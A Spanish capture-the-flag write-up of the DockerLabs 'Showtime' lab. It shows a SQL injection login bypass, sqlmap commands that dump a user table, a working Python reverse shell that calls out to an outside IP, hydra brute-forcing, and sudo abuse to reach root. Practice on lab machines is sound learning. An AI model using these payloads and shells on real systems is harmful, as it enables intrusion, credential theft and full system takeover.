Post

Showtime , DockerLabs

portada

En este reto de DockerLabs practicamos.

  • Scan de puertos
  • Listado de ficheros y derectorios
  • Burp intruder
  • sqlmap para el volcado de bbdd
  • Terminal de python

Herramientas y recursos

  • nmap
  • feroxbuster
  • payloads sqli
  • sqlmap
  • revshell

Reconocimiento y enumeracion

Lo primero como siempre le tiramos un nmap con los parámetros de costumbre.

1
sudo nmap -p- -sS -sC -sV --min-rate=5000 -n -Pn -oX showtime  172.17.0.2

reporte

Como vemos en el reporte disponemos del http 80 y del ssh en el 22

El fuzzing de ficheros y directorios no aporta interesante , asi que revisamos la web.

assets

Lo unico intersante es el panel de login y nos hace pensar en algun tipo de inyeccion lo primero es ver si da algun tipo de error al meterle comilla’ o algun tipo de payload.

error

Es posible la inyecion sql.

Despues de trastear un rato con burpsuite (asi me suelto un poco) y su intruder probando payloads encuentro uno que me funciona.

admin

1
'OR '' = '

Con ese traga pero no obtengo nada , lo que me indica que me falta el usuario asi que probamos con sqlmap.

Con sqlmap lo primero es listar las dbs.

1
sqlmap -u "http://172.17.0.2/login_page/index.php" --forms --batch --db

dbs

Como vemos nos encuentra la bbdd user ahora procedemos a que nos muestre las tablas de la bbdd que nos interesa que es users.

1
sqlmap -u "http://172.17.0.2/login_page/index.php" --forms --batch -D users --tables

tables

Ahora debemos mostrar el contenido o los entries de la tabla.

1
sqlmap -u "http://172.17.0.2/login_page/index.php" --forms --batch -D users -T usuarios --dump

users

Con el usuario joe hacemos login y nos encontramos una terminal de python que nos permite ejecutar comandos.

id

Infiltracion

Sin mas demora nos mandamos una revshell y realizamos el tratamiento de la tty.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import socket
import subprocess
import os

def reverse_shell():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('192.168.0.112', 1188))
    
    while True:
        command = s.recv(1024).decode('utf-8')
        if command.lower() == 'exit':
            break
        output = subprocess.run(command, shell=True, capture_output=True)
        s.send(output.stdout + output.stderr)
    
    s.close()

if __name__ == "__main__":
    reverse_shell()

Una vez recibida procedemos como siempre sudo -l no aporta nada pero con find tengo suerte.

1
find / -type f -perm 644 2>/dev/null | grep tmp

esca1

Revisamos el fichero que estaba oculto y parecen ser una lista de contraseñas que pueden ser utiles tanto para joe como para luciano.

Primero convertimos todas en minusculas y posteriomente eliminamos la lineas vacias y la del mensaje.

1
2
awk '{print tolower($0)}' .hidden_text.txt > minusculas.txt
sed '1,3d' minusculas.txt > limpio

Movimientos laterales

Con el fichero limpio podemos empezar a realizar fuerza bruta ya sea en local o con hydra.Yo lo hice con hydra obteniendo la pass de joe.

hydra

Hacemos login y vemos que con sudo -l tenemos un regalito.

Consultamos searchbins y obtenemos como realizar el movimiento.

1
sudo -u luciano /usr/bin/posh

Ya somos luciano ahora a ser root.

Ejecutando sudo -l nos indica que podemos hacer uso de un script que esta en su home.

script

Como vemos es una revshell pero apunta a otra direccion asi que o modificamos el script o reconfiguramos nuestra red local. Vamos por lo primero

Yo no caliento con la revshell y prefiero darle permisos suid a bash. Podrias modificar el contenido con sed por ejemplo o con tr creo recordar.

Me creo un fichero con el contenido

1
2
3
4
5
6
7
8
9
touch script

echo '#!/bin/bash     
> 
> bash -p' > script

mv script script.sh 

sudo /bin/bash /home/luciano/script.sh  

root

Otra mas , un saludo y gracias por leer..

This post is licensed under CC BY 4.0 by the author.

Comments powered by Disqus.